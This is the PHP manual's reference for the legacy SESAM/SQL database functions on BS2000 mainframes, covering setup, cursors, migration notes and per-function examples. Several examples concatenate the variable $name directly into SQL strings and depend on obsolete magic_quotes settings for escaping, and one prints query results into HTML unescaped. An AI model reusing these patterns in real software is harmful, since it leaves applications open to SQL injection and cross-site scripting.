In addition to the configuration of the PHP/SESAM interface, you have to configure the SESAM-Database server itself on your mainframe as usual. That means:

  • starting the SESAM database handler (DBH), and

  • connecting the databases with the SESAM database handler

To get a connection between a PHP script and the database handler, the CNF and NAM parameters of the selected SESAM configuration file must match the id of the started database handler.

In case of distributed databases you have to start a SESAM/SQL-DCN agent with the distribution table including the host and database names.

The communication between PHP (running in the POSIX subsystem) and the database handler (running outside the POSIX subsystem) is realized by a special driver module called SQLSCI and SESAM connection modules using common memory. Because of the common memory access, and because PHP is a static part of the web server, database accesses are very fast, as they do not require remote accesses via ODBC, JDBC or UTM.

Only a small stub loader (SESMOD) is linked with PHP, and the SESAM connection modules are pulled in from SESAM's OML PLAM library. In the configuration, you must tell PHP the name of this PLAM library, and the file link to use for the SESAM configuration file (As of SESAM V3.0, SQLSCI is available in the SESAM Tool Library, which is part of the standard distribution).

Because the SQL command quoting for single quotes uses duplicated single quotes (as opposed to a single quote preceded by a backslash, used in some other databases), it is advisable to set the PHP configuration directives php3_magic_quotes_gpc and php3_magic_quotes_sybase to On for all PHP scripts using the SESAM interface.

Runtime considerations

Because of limitations of the BS2000 process model, the driver can be loaded only after the Apache server has forked off its server child processes. This will slightly slow down the initial SESAM request of each child, but subsequent accesses will respond at full speed.

When explicitly defining a Message Catalog for SESAM, that catalog will be loaded each time the driver is loaded (i.e., at the initial SESAM request). The BS2000 operating system prints a message after successful load of the message catalog, which will be sent to Apache's error_log file. BS2000 currently does not allow suppression of this message, it will slowly fill up the log.

Make sure that the SESAM OML PLAM library and SESAM configuration file are readable by the user id running the web server. Otherwise, the server will be unable to load the driver, and will not allow to call any SESAM functions. Also, access to the database must be granted to the user id under which the Apache server is running. Otherwise, connections to the SESAM database handler will fail.

Cursor Types

The result cursors which are allocated for SQL "select type" queries can be either "sequential" or "scrollable". Because of the larger memory overhead needed by "scrollable" cursors, the default is "sequential".

When using "scrollable" cursors, the cursor can be freely positioned on the result set. For each "scrollable" query, there are global default values for the scrolling type (initialized to: SESAM_SEEK_NEXT) and the scrolling offset which can either be set once by sesam_seek_row() or each time when fetching a row using sesam_fetch_row(). When fetching a row using a "scrollable" cursor, the following post-processing is done for the global default values for the scrolling type and scrolling offset:

表格 2. Scrolled Cursor Post-Processing

Scroll Type | Action
SESAM_SEEK_NEXT | none
SESAM_SEEK_PRIOR | none
SESAM_SEEK_FIRST | set scroll type to SESAM_SEEK_NEXT
SESAM_SEEK_LAST | set scroll type to SESAM_SEEK_PRIOR
SESAM_SEEK_ABSOLUTE | Auto-Increment internal offset value
SESAM_SEEK_RELATIVE | none. (maintain global default offset value, which allows for, e.g., fetching each 10th row backwards)

Porting note

Because in the PHP world it is natural to start indexes at zero (rather than 1), some adaptions have been made to the SESAM interface: whenever an indexed array is starting with index 1 in the native SESAM interface, the PHP interface uses index 0 as a starting point. E.g., when retrieving columns with sesam_fetch_row(), the first column has the index 0, and the subsequent columns have indexes up to (but not including) the column count ($array["count"]). When porting SESAM applications from other high level languages to PHP, be aware of this changed interface. Where appropriate, the description of the respective PHP sesam functions include a note that the index is zero based.

Security concerns

When allowing access to the SESAM databases, the web server user should only have as little privileges as possible. For most databases, only read access privilege should be granted. Depending on your usage scenario, add more access rights as you see fit. Never allow full control to any database for any user from the 'net! Restrict access to PHP scripts which must administer the database by using password control and/or SSL security.

Migration from other SQL databases

No two SQL dialects are ever 100% compatible. When porting SQL applications from other database interfaces to SESAM, some adaption may be required. The following typical differences should be noted:

  • Vendor specific data types

    Some vendor specific data types may have to be replaced by standard SQL data types (e.g., TEXT could be replaced by VARCHAR(max. size)).

  • Keywords as SQL identifiers

    In SESAM (as in standard SQL), such identifiers must be enclosed in double quotes (or renamed).

  • Display length in data types

    SESAM data types have a precision, not a display length. Instead of int(4) (intended use: integers up to '9999'), SESAM requires simply int for an implied size of 31 bits. Also, the only datetime data types available in SESAM are: DATE, TIME(3) and TIMESTAMP(3).

  • SQL types with vendor-specific unsigned, zerofill, or auto_increment attributes

    Unsigned and zerofill are not supported. Auto_increment is automatic (use "INSERT ... VALUES(*, ...)" instead of "... VALUES(0, ...)" to take advantage of SESAM-implied auto-increment.

  • int ... DEFAULT '0000'

    Numeric variables must not be initialized with string constants. Use DEFAULT 0 instead. To initialize variables of the datetime SQL data types, the initialization string must be prefixed with the respective type keyword, as in: CREATE TABLE exmpl ( xtime timestamp(3) DEFAULT TIMESTAMP '1970-01-01 00:00:00.000' NOT NULL );

  • $count = xxxx_num_rows();

    Some databases promise to guess/estimate the number of the rows in a query result, even though the returned value is grossly incorrect. SESAM does not know the number of rows in a query result before actually fetching them. If you REALLY need the count, try SELECT COUNT(...) WHERE ..., it will tell you the number of hits. A second query will (hopefully) return the results.

  • DROP TABLE thename;

    In SESAM, in the DROP TABLE command, the table name must be either followed by the keyword RESTRICT or CASCADE. When specifying RESTRICT, an error is returned if there are dependent objects (e.g., VIEWs), while with CASCADE, dependent objects will be deleted along with the specified table.

Notes on the use of various SQL types

SESAM does not currently support the BLOB type. A future version of SESAM will have support for BLOB.

At the PHP interface, the following type conversions are automatically applied when retrieving SQL fields:

表格 3. SQL to PHP Type Conversions

SQL Type | PHP Type
SMALLINT, INTEGER | integer
NUMERIC, DECIMAL, FLOAT, REAL, DOUBLE | float
DATE, TIME, TIMESTAMP | string
VARCHAR, CHARACTER | string
When retrieving a complete row, the result is returned as an array. Empty fields are not filled in, so you will have to check for the existence of the individual fields yourself (use isset() or empty() to test for empty fields). That allows more user control over the appearance of empty fields (than in the case of an empty string as the representation of an empty field).

Support of SESAM's "multiple fields" feature

The special "multiple fields" feature of SESAM allows a column to consist of an array of fields. Such a "multiple field" column can be created like this:

例子 1. Creating a "multiple field" column

CREATE TABLE multi_field_test (
    pkey CHAR(20) PRIMARY KEY,
    multi(3) CHAR(12)
)
and can be filled in using:

例子 2. Filling a "multiple field" column

INSERT INTO multi_field_test (pkey, multi(2..3) )
    VALUES ('Second', <'first_val', 'second_val'>)
Note that (like in this case) leading empty sub-fields are ignored, and the filled-in values are collapsed, so that in the above example the result will appear as multi(1..2) instead of multi(2..3).

When retrieving a result row, "multiple columns" are accessed like "inlined" additional columns. In the example above, "pkey" will have the index 0, and the three "multi(1..3)" columns will be accessible as indices 1 through 3.

参见

For specific SESAM details, please refer to the SESAM/SQL-Server documentation (english) or the SESAM/SQL-Server documentation (german), both available online, or use the respective manuals.

目录
sesam_affected_rows -- Get number of rows affected by an immediate query
sesam_commit -- Commit pending updates to the SESAM database
sesam_connect -- Open SESAM database connection
sesam_diagnostic -- Return status information for last SESAM call
sesam_disconnect -- Detach from SESAM connection
sesam_errormsg -- Returns error message of last SESAM call
sesam_execimm -- Execute an "immediate" SQL-statement
sesam_fetch_array -- Fetch one row as an associative array
sesam_fetch_result -- Return all or part of a query result
sesam_fetch_row -- Fetch one row as an array
sesam_field_array -- Return meta information about individual columns in a result
sesam_field_name -- Return one column name of the result set
sesam_free_result -- Releases resources for the query
sesam_num_fields -- Return the number of fields/columns in a result set
sesam_query -- Perform a SESAM SQL query and prepare the result
sesam_rollback -- Discard any pending updates to the SESAM database
sesam_seek_row -- Set scrollable cursor mode for subsequent fetches
sesam_settransaction -- Set SESAM transaction parameters

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
shm_remove | 上一级 | sesam_affected_rows


sesam_affected_rows

(PHP 3 CVS only)

sesam_affected_rows -- Get number of rows affected by an immediate query

Description

int sesam_affected_rows ( string result_id )

result_id is a valid result id returned by sesam_query().

Returns the number of rows affected by a query associated with result_id.

The sesam_affected_rows() function can only return useful values when used in combination with "immediate" SQL statements (updating operations like INSERT, UPDATE and DELETE) because SESAM does not deliver any "affected rows" information for "select type" queries. The number returned is the number of affected rows.

例子 1. sesam_affected_rows() example

<?php
$result = sesam_execimm("DELETE FROM PHONE WHERE LASTNAME = '" . strtoupper($name) . "'");
if (!$result) {
    /* ... error ... */
}
echo sesam_affected_rows($result).
    " entries with last name " . $name . " deleted.\n";
?>

See also sesam_query() and sesam_execimm().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SESAM Database Functions | 上一级 | sesam_commit


sesam_commit

(PHP 3 CVS only)

sesam_commit -- Commit pending updates to the SESAM database

Description

bool sesam_commit ( void )

Returns: TRUE on success, FALSE on errors

sesam_commit() commits any pending updates to the database.

Note that there is no "auto-commit" feature as in other databases, as it could lead to accidental data loss. Uncommitted data at the end of the current script (or when calling sesam_disconnect()) will be discarded by an implied sesam_rollback() call.

See also: sesam_rollback().

例子 1. Committing an update to the SESAM database

<?php
if (sesam_connect ("mycatalog", "myschema", "otto")) {
    if (!sesam_execimm ("INSERT INTO mytable VALUES (*, 'Small Test', <0, 8, 15>)"))
        die("insert failed");
    if (!sesam_commit())
        die("commit failed");
}
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sesam_affected_rows | 上一级 | sesam_connect


sesam_connect

(PHP 3 CVS only)

sesam_connect -- Open SESAM database connection

Description

bool sesam_connect ( string catalog, string schema, string user )

Returns TRUE if a connection to the SESAM database was made, or FALSE on error.

sesam_connect() establishes a connection to an SESAM database handler task. The connection is always "persistent" in the sense that only the very first invocation will actually load the driver from the configured SESAM OML PLAM library. Subsequent calls will reuse the driver and will immediately use the given catalog, schema, and user.

When creating a database, the "catalog" name is specified in the SESAM configuration directive //ADD-SQL-DATABASE-CATALOG-LIST ENTRY-1 = *CATALOG(CATALOG-NAME = catalogname,...)

The "schema" references the desired database schema (see SESAM handbook).

The "user" argument references one of the users which are allowed to access this "catalog" / "schema" combination. Note that "user" is completely independent from both the system's user id's and from HTTP user/password protection. It appears in the SESAM configuration only.

See also sesam_disconnect().

例子 1. Connect to a SESAM database

<?php
if (!sesam_connect ("mycatalog", "myschema", "otto")) {
    die("Unable to connect to SESAM");
}
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sesam_commit | 上一级 | sesam_diagnostic


sesam_diagnostic

(PHP 3 CVS only)

sesam_diagnostic -- Return status information for last SESAM call

Description

array sesam_diagnostic ( void )

Returns an associative array of status and return codes for the last SQL query/statement/command. Elements of the array are:

表格 1. Status information returned by sesam_diagnostic()

Element | Contents
$array["sqlstate"] | 5 digit SQL return code (see the SESAM manual for the description of the possible values of SQLSTATE)
$array["rowcount"] | number of affected rows in last update/insert/delete (set after "immediate" statements only)
$array["errmsg"] | "human readable" error message string (set after errors only)
$array["errcol"] | error column number of previous error (0-based; or -1 if undefined. Set after errors only)
$array["errlin"] | error line number of previous error (0-based; or -1 if undefined. Set after errors only)

In the following example, a syntax error (E SEW42AE ILLEGAL CHARACTER) is displayed by including the offending SQL statement and pointing to the error location:

例子 1. Displaying SESAM error messages with error position

<?php
// Function which prints a formatted error message,
// displaying a pointer to the syntax error in the
// SQL statement
function PrintReturncode($exec_str)
{
    $err = Sesam_Diagnostic();
    $colspan=4; // 4 cols for: sqlstate, errlin, errcol, rowcount
    if ($err["errlin"] == -1)
        --$colspan;
    if ($err["errcol"] == -1)
        --$colspan;
    if ($err["rowcount"] == 0)
        --$colspan;
    echo "<table border=\"1\">\n";
    echo "<tr><th colspan=\"" . $colspan . "\"><span class=\"spanred\">ERROR:</span> ".
         htmlspecialchars($err["errmsg"]) . "</th></tr>\n";
    if ($err["errcol"] >= 0) {
        echo "<tr><td colspan=\"" . $colspan . "\"><pre>\n";
        $errstmt = $exec_str . "\n";
        for ($lin=0; $errstmt != ""; ++$lin) {
            if ($lin != $err["errlin"]) { // $lin is less or greater than errlin
                if (!($i = strchr($errstmt, "\n")))
                    $i = "";
                $line = substr ($errstmt, 0, strlen($errstmt)-strlen($i)+1);
                $errstmt = substr($i, 1);
                if ($line != "\n")
                    echo htmlspecialchars($line);
            } else {
                if (! ($i = strchr ($errstmt, "\n")))
                    $i = "";
                $line = substr ($errstmt, 0, strlen ($errstmt)-strlen($i)+1);
                $errstmt = substr($i, 1);
                for ($col=0; $col < $err["errcol"]; ++$col) {
                    echo (substr($line, $col, 1) == "\t") ? "\t" : ".";
                }
                echo "<span class=\"spanred\">\\</span>\n";
                echo "<span class=\"normal\">" . htmlspecialchars($line) . "</span>";
                for ($col=0; $col < $err["errcol"]; ++$col) {
                    echo (substr ($line, $col, 1) == "\t") ? "\t" : ".";
                }
                echo "<span class=\"spanred\">/</span>\n";
            }
        }
        echo "</pre></td></tr>\n";
    }
    echo "<tr>\n";
    echo " <td>sqlstate=" . $err["sqlstate"] . "</td>\n";
    if ($err["errlin"] != -1)
        echo " <td>errlin=" . $err["errlin"] . "</td>\n";
    if ($err["errcol"] != -1)
        echo " <td>errcol=" . $err["errcol"] . "</td>\n";
    if ($err["rowcount"] != 0)
         echo " <td>rowcount=" . $err["rowcount"] . "</td>\n";
    echo "</tr>\n";
    echo "</table>\n";
}

if (!sesam_connect ("mycatalog", "phoneno", "otto"))
  die ("cannot connect");

$stmt = "SELECT * FROM phone\n" .
        " WHERE@ LASTNAME='KRAEMER'\n" .
        " ORDER BY FIRSTNAME";
if (!($result = sesam_query ($stmt)))
    PrintReturncode ($stmt);
?>

See also: sesam_errormsg() for simple access to the error string only

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sesam_connect | 上一级 | sesam_disconnect


sesam_disconnect

(PHP 3 CVS only)

sesam_disconnect -- Detach from SESAM connection

Description

bool sesam_disconnect ( void )

Returns: always TRUE.

sesam_disconnect() closes the logical link to a SESAM database (without actually disconnecting and unloading the driver).

Note that this isn't usually necessary, as the open connection is automatically closed at the end of the script's execution. Uncommitted data will be discarded, because an implicit sesam_rollback() is executed.

sesam_disconnect() will not close the persistent link, it will only invalidate the currently defined "catalog", "schema" and "user" triple, so that any sesam function called after sesam_disconnect() will fail.

例子 1. Closing a SESAM connection

<?php
if (sesam_connect ("mycatalog", "myschema", "otto")) {
    /* ... some queries and stuff ... */
    sesam_disconnect();
}
?>

See also sesam_connect().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sesam_diagnostic | 上一级 | sesam_errormsg


sesam_errormsg

(PHP 3 CVS only)

sesam_errormsg -- Returns error message of last SESAM call

Description

string sesam_errormsg ( void )

Returns the SESAM error message associated with the most recent SESAM error.

例子 1. sesam_errormsg() example

<?php
if (!sesam_execimm($stmt)) {
  echo sesam_errormsg() . "<br />\n";
}
?>

See also sesam_diagnostic() for the full set of SESAM SQL status information.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sesam_disconnect | 上一级 | sesam_execimm


sesam_execimm

(PHP 3 CVS only)

sesam_execimm -- Execute an "immediate" SQL-statement

Description

string sesam_execimm ( string query )

Returns: A SESAM "result identifier" on success, or FALSE on error.

sesam_execimm() executes an "immediate" statement (i.e., a statement like UPDATE, INSERT or DELETE which returns no result, and has no INPUT or OUTPUT variables). "select type" queries can not be used with sesam_execimm(). Sets the affected_rows value for retrieval by the sesam_affected_rows() function.

Note that sesam_query() can handle both "immediate" and "select-type" queries. Use sesam_execimm() only if you know beforehand what type of statement will be executed. An attempt to use SELECT type queries with sesam_execimm() will return $err["sqlstate"] == "42SBW".

The returned "result identifier" can not be used for retrieving anything but the sesam_affected_rows(); it is only returned for symmetry with the sesam_query() function.

<?php
$stmt = "INSERT INTO mytable VALUES ('one', 'two')";
$result = sesam_execimm($stmt);
$err = sesam_diagnostic();
echo "sqlstate = " . $err["sqlstate"] . "\n".
       "Affected rows = " . $err["rowcount"] . " == " .
       sesam_affected_rows($result) . "\n";
?>

See also sesam_query() and sesam_affected_rows().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sesam_errormsg | 上一级 | sesam_fetch_array


sesam_fetch_array

(PHP 3 CVS only)

sesam_fetch_array -- Fetch one row as an associative array

Description

array sesam_fetch_array ( string result_id [, int whence [, int offset]] )

Returns an array that corresponds to the fetched row, or FALSE if there are no more rows.

sesam_fetch_array() is an alternative version of sesam_fetch_row(). Instead of storing the data in the numeric indices of the result array, it stores the data in associative indices, using the field names as keys.

result_id is a valid result id returned by sesam_query() (select type queries only!).

For the valid values of the optional whenceand offset parameters, see the sesam_fetch_row() function for details.

sesam_fetch_array() fetches one row of data from the result associated with the specified result identifier. The row is returned as an associative array. Each result column is stored with an associative index equal to its column (aka. field) name. The column names are converted to lower case.

Columns without a field name (e.g., results of arithmetic operations) and empty fields are not stored in the array. Also, if two or more columns of the result have the same column names, the later column will take precedence. In this situation, either call sesam_fetch_row() or make an alias for the column.

SELECT TBL1.COL AS FOO, TBL2.COL AS BAR FROM TBL1, TBL2

A special handling allows fetching "multiple field" columns (which would otherwise all have the same column names). For each column of a "multiple field", the index name is constructed by appending the string "(n)" where n is the sub-index of the multiple field column, ranging from 1 to its declared repetition factor. The indices are NOT zero based, in order to match the nomenclature used in the respective query syntax. For a column declared as:

CREATE TABLE ... ( ... MULTI(3) INT )

the associative indices used for the individual "multiple field" columns would be "multi(1)", "multi(2)", and "multi(3)" respectively.

Subsequent calls to sesam_fetch_array() would return the next (or prior, or n'th next/prior, depending on the scroll attributes) row in the result set, or FALSE if there are no more rows.

例子 1. SESAM fetch array

<?php
$result = sesam_query("SELECT * FROM phone\n" .
                       "  WHERE LASTNAME='" . strtoupper($name) . "'\n".
                       "  ORDER BY FIRSTNAME", 1);
if (!$result) {
    /* ... error ... */
}
// print the table:
echo "<table border=\"1\">\n";
while (($row = sesam_fetch_array($result)) && count($row) > 0) {
    echo "<tr>\n";
    echo "<td>" . htmlspecialchars($row["firstname"]) . "</td>\n";
    echo "<td>" . htmlspecialchars($row["lastname"]) . "</td>\n";
    echo "<td>" . htmlspecialchars($row["phoneno"]) . "</td>\n";
    echo "</tr>\n";
}
echo "</table>\n";
sesam_free_result($result);
?>

See also: sesam_fetch_row() which returns an indexed array.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sesam_execimm | 上一级 | sesam_fetch_result


sesam_fetch_result

(PHP 3 CVS only)

sesam_fetch_result -- Return all or part of a query result

Description

mixed sesam_fetch_result ( string result_id [, int max_rows] )

Returns a mixed array with the query result entries, optionally limited to a maximum of max_rows rows. Note that both row and column indexes are zero-based.

表格 1. Mixed result set returned by sesam_fetch_result()

Array Element | Contents
int $arr["count"] | number of columns in result set (or zero if this was an "immediate" query)
int $arr["rows"] | number of rows in result set (between zero and max_rows)
bool $arr["truncated"] | TRUE if the number of rows was at least max_rows, FALSE otherwise. Note that even when this is TRUE, the next sesam_fetch_result() call may return zero rows because there are no more result entries.
mixed $arr[col][row] | result data for all the fields at row(row) and column(col), (where the integer index row is between 0 and $arr["rows"]-1, and col is between 0 and $arr["count"]-1). Fields may be empty, so you must check for the existence of a field by using the php isset() function. The type of the returned fields depend on the respective SQL type declared for its column (see SESAM overview for the conversions applied). SESAM "multiple fields" are "inlined" and treated like a sequence of columns.
Note that the amount of memory used up by a large query may be gigantic. Use the max_rows parameter to limit the maximum number of rows returned, unless you are absolutely sure that your result will not use up all available memory.

See also: sesam_fetch_row(), and sesam_field_array() to check for "multiple fields". See the description of the sesam_query() function for a complete example using sesam_fetch_result().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sesam_fetch_array | 上一级 | sesam_fetch_row


sesam_fetch_row

(PHP 3 CVS only)

sesam_fetch_row -- Fetch one row as an array

Description

array sesam_fetch_row ( string result_id [, int whence [, int offset]] )

Returns an array that corresponds to the fetched row, or FALSE if there are no more rows.

The number of columns in the result set is returned in an associative array element $array["count"]. Because some of the result columns may be empty, the count() function can not be used on the result row returned by sesam_fetch_row().

result_id is a valid result id returned by sesam_query() (select type queries only!).

whence is an optional parameter for a fetch operation on "scrollable" cursors, which can be set to the following predefined constants:

表格 1. Valid values for "whence" parameter

Value | Constant | Meaning
0 | SESAM_SEEK_NEXT | read sequentially (after fetch, the internal default is set to SESAM_SEEK_NEXT)
1 | SESAM_SEEK_PRIOR | read sequentially backwards (after fetch, the internal default is set to SESAM_SEEK_PRIOR)
2 | SESAM_SEEK_FIRST | rewind to first row (after fetch, the default is set to SESAM_SEEK_NEXT)
3 | SESAM_SEEK_LAST | seek to last row (after fetch, the default is set to SESAM_SEEK_PRIOR)
4 | SESAM_SEEK_ABSOLUTE | seek to absolute row number given as offset (Zero-based. After fetch, the internal default is set to SESAM_SEEK_ABSOLUTE, and the internal offset value is auto-incremented)
5 | SESAM_SEEK_RELATIVE | seek relative to current scroll position, where offset can be a positive or negative offset value.
This parameter is only valid for "scrollable" cursors.

When using "scrollable" cursors, the cursor can be freely positioned on the result set. If the whence parameter is omitted, the global default values for the scrolling type (initialized to: SESAM_SEEK_NEXT, and settable by sesam_seek_row()) are used. If whence is supplied, its value replaces the global default.

offset is an optional parameter which is only evaluated (and required) if whence is either SESAM_SEEK_RELATIVE or SESAM_SEEK_ABSOLUTE. This parameter is only valid for "scrollable" cursors.

sesam_fetch_row() fetches one row of data from the result associated with the specified result identifier. The row is returned as an array (indexed by values between 0 and $array["count"]-1). Fields may be empty, so you must check for the existence of a field by using the isset() function. The type of the returned fields depend on the respective SQL type declared for its column (see SESAM overview for the conversions applied). SESAM "multiple fields" are "inlined" and treated like a sequence of columns.

Subsequent calls to sesam_fetch_row() would return the next (or prior, or n'th next/prior, depending on the scroll attributes) row in the result set, or FALSE if there are no more rows.

例子 1. SESAM fetch rows

<?php
$result = sesam_query("SELECT * FROM phone\n" .
                       "  WHERE LASTNAME='" . strtoupper($name) . "'\n" .
                       "  ORDER BY FIRSTNAME", 1);
if (!$result) {
    /* ... error ... */
}
// print the table in backward order
echo "<table border=\"1\">\n";
$row = sesam_fetch_row($result, SESAM_SEEK_LAST);
while (is_array($row)) {
    echo "<tr>\n";
    for ($col = 0; $col < $row["count"]; ++$col) {
        echo "<td>" . htmlspecialchars($row[$col]) . "</td>\n";
    }
    echo "</tr>\n";
    // use implied SESAM_SEEK_PRIOR
    $row = sesam_fetch_row($result);
}
echo "</table>\n";
sesam_free_result($result);
?>

See also: sesam_fetch_array() which returns an associative array, and sesam_fetch_result() which returns many rows per invocation.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sesam_fetch_result | 上一级 | sesam_field_array


sesam_field_array

(PHP 3 CVS only)

sesam_field_array -- Return meta information about individual columns in a result

Description

array sesam_field_array ( string result_id )

result_id is a valid result id returned by sesam_query().

Returns a mixed associative/indexed array with meta information (column name, type, precision, ...) about individual columns of the result after the query associated with result_id.

表格 1. Mixed result set returned by sesam_field_array()

Array Element | Contents
int $arr["count"] | Total number of columns in result set (or zero if this was an "immediate" query). SESAM "multiple fields" are "inlined" and treated like the respective number of columns.
string $arr[col]["name"] | column name for column(col), where col is between 0 and $arr["count"]-1. The returned value can be the empty string (for dynamically computed columns). SESAM "multiple fields" are "inlined" and treated like the respective number of columns, each with the same column name.
string $arr[col]["count"] | The "count" attribute describes the repetition factor when the column has been declared as a "multiple field". Usually, the "count" attribute is 1. The first column of a "multiple field" column however contains the number of repetitions (the second and following column of the "multiple field" contain a "count" attribute of 1). This can be used to detect "multiple fields" in the result set. See the example shown in the sesam_query() description for a sample use of the "count" attribute.
string $arr[col]["type"] PHP variable type of the data for column(col), where col is between 0 and $arr["count"]-1. The returned value can be one of

  • integer

  • float

  • string

depending on the SQL type of the result. SESAM "multiple fields" are "inlined" and treated like the respective number of columns, each with the same PHP type.
string $arr[col]["sqltype"] SQL variable type of the column data for column(col), where col is between 0 and $arr["count"]-1. The returned value can be one of

  • "CHARACTER"

  • "VARCHAR"

  • "NUMERIC"

  • "DECIMAL"

  • "INTEGER"

  • "SMALLINT"

  • "FLOAT"

  • "REAL"

  • "DOUBLE"

  • "DATE"

  • "TIME"

  • "TIMESTAMP"

describing the SQL type of the result. SESAM "multiple fields" are "inlined" and treated like the respective number of columns, each with the same SQL type.
string $arr[col]["length"] | The SQL "length" attribute of the SQL variable in column(col), where col is between 0 and $arr["count"]-1. The "length" attribute is used with "CHARACTER" and "VARCHAR" SQL types to specify the (maximum) length of the string variable. SESAM "multiple fields" are "inlined" and treated like the respective number of columns, each with the same length attribute.
string $arr[col]["precision"] | The "precision" attribute of the SQL variable in column(col), where col is between 0 and $arr["count"]-1. The "precision" attribute is used with numeric and time data types. SESAM "multiple fields" are "inlined" and treated like the respective number of columns, each with the same precision attribute.
string $arr[col]["scale"] | The "scale" attribute of the SQL variable in column(col), where col is between 0 and $arr["count"]-1. The "scale" attribute is used with numeric data types. SESAM "multiple fields" are "inlined" and treated like the respective number of columns, each with the same scale attribute.

See also sesam_query() for an example of the sesam_field_array() use.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sesam_fetch_row | 上一级 | sesam_field_name


sesam_field_name

(PHP 3 CVS only)

sesam_field_name -- Return one column name of the result set

Description

int sesam_field_name ( string result_id, int index )

Returns the name of a field (i.e., the column name) in the result set, or FALSE on error.

For "immediate" queries, or for dynamic columns, an empty string is returned.

注: The column index is zero-based, not one-based as in SESAM.

See also: sesam_field_array(). It provides an easier interface to access the column names and types, and allows for detection of "multiple fields".

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sesam_field_array | 上一级 | sesam_free_result


sesam_free_result

(PHP 3 CVS only)

sesam_free_result -- Releases resources for the query

Description

int sesam_free_result ( string result_id )

Releases resources for the query associated with result_id. Returns FALSE on error.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sesam_field_name | 上一级 | sesam_num_fields


sesam_num_fields

(PHP 3 CVS only)

sesam_num_fields -- Return the number of fields/columns in a result set

Description

int sesam_num_fields ( string result_id )

After calling sesam_query() with a "select type" query, this function gives you the number of columns in the result. Returns an integer describing the total number of columns (aka. fields) in the current result_id result set or FALSE on error.

For "immediate" statements, the value zero is returned. The SESAM "multiple field" columns count as their respective dimension, i.e., a three-column "multiple field" counts as three columns.

See also: sesam_query() and sesam_field_array() for a way to distinguish between "multiple field" columns and regular columns.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sesam_free_result | 上一级 | sesam_query


sesam_query

(PHP 3 CVS only)

sesam_query -- Perform a SESAM SQL query and prepare the result

Description

string sesam_query ( string query [, bool scrollable] )

Returns: A SESAM "result identifier" on success, or FALSE on error.

A "result_id" resource is used by other functions to retrieve the query results.

sesam_query() sends a query to the currently active database on the server. It can execute both "immediate" SQL statements and "select type" queries. If an "immediate" statement is executed, then no cursor is allocated, and any subsequent sesam_fetch_row() or sesam_fetch_result() call will return an empty result (zero columns, indicating end-of-result). For "select type" statements, a result descriptor and a (scrollable or sequential, depending on the optional boolean scrollable parameter) cursor will be allocated. If scrollable is omitted, the cursor will be sequential.

When using "scrollable" cursors, the cursor can be freely positioned on the result set. For each "scrollable" query, there are global default values for the scrolling type (initialized to: SESAM_SEEK_NEXT) and the scrolling offset which can either be set once by sesam_seek_row() or each time when fetching a row using sesam_fetch_row().

For "immediate" statements, the number of affected rows is saved for retrieval by the sesam_affected_rows() function.

See also: sesam_fetch_row() and sesam_fetch_result().

例子 1. Show all rows of the "phone" table as a HTML table

<?php
if (!sesam_connect("phonedb", "demo", "otto"))
    die("cannot connect");
$result = sesam_query("select * from phone");
if (!$result) {
    $err = sesam_diagnostic();
    die ($err["errmsg"]);
}
echo "<table border>\n";
// Add title header with column names above the result:
if ($cols = sesam_field_array($result)) {
    echo "<tr><th colspan=" . $cols["count"] . ">Result:</th></tr>\n";
    echo "<tr>\n";
    for ($col = 0; $col < $cols["count"]; ++$col) {
        $colattr = $cols[$col];
        /* Span the table head over SESAM's "Multiple Fields": */
        if ($colattr["count"] > 1) {
            echo "<th colspan=\"" . $colattr["count"] . "\">" . $colattr["name"] .
                "(1.." . $colattr["count"] . ")</th>\n";
            $col += $colattr["count"] - 1;
        } else
            echo "<th>" . $colattr["name"] . "</th>\n";
    }
    echo "</tr>\n";
}

do {
    // Fetch the result in chunks of 100 rows max.
    $ok = sesam_fetch_result($result, 100);
    for ($row=0; $row < $ok["rows"]; ++$row) {
        echo " <tr>\n";
        for ($col = 0; $col < $ok["cols"]; ++$col) {
            if (isset($ok[$col][$row])) {
                echo "<td>" . $ok[$col][$row] . "</td>\n";
            } else {
                echo "<td>-empty-</td>\n";
            }
        }
        echo "</tr>\n";
    }
} while ($ok["truncated"]); // while there may be more data

echo "</table>\n";
// free result id
sesam_free_result($result);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sesam_num_fields | 上一级 | sesam_rollback


sesam_rollback

(PHP 3 CVS only)

sesam_rollback -- Discard any pending updates to the SESAM database

Description

bool sesam_rollback ( void )

Returns: TRUE on success, FALSE on errors

sesam_rollback() discards any pending updates to the database. Also affected are result cursors and result descriptors.

At the end of each script, and as part of the sesam_disconnect() function, an implied sesam_rollback() is executed, discarding any pending changes to the database.

See also: sesam_commit().

例子 1. Discarding an update to the SESAM database

<?php
if (sesam_connect ("mycatalog", "myschema", "otto")) {
    if (sesam_execimm ("INSERT INTO mytable VALUES (*, 'Small Test', <0, 8, 15>)")
        && sesam_execimm ("INSERT INTO othertable VALUES (*, 'Another Test', 1)")) {
        sesam_commit();
    } else {
        sesam_rollback();
    }
}
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sesam_query | 上一级 | sesam_seek_row


sesam_seek_row

(PHP 3 CVS only)

sesam_seek_row -- Set scrollable cursor mode for subsequent fetches

Description

bool sesam_seek_row ( string result_id, int whence [, int offset] )

result_id is a valid result id (select type queries only, and only if a "scrollable" cursor was requested when calling sesam_query()).

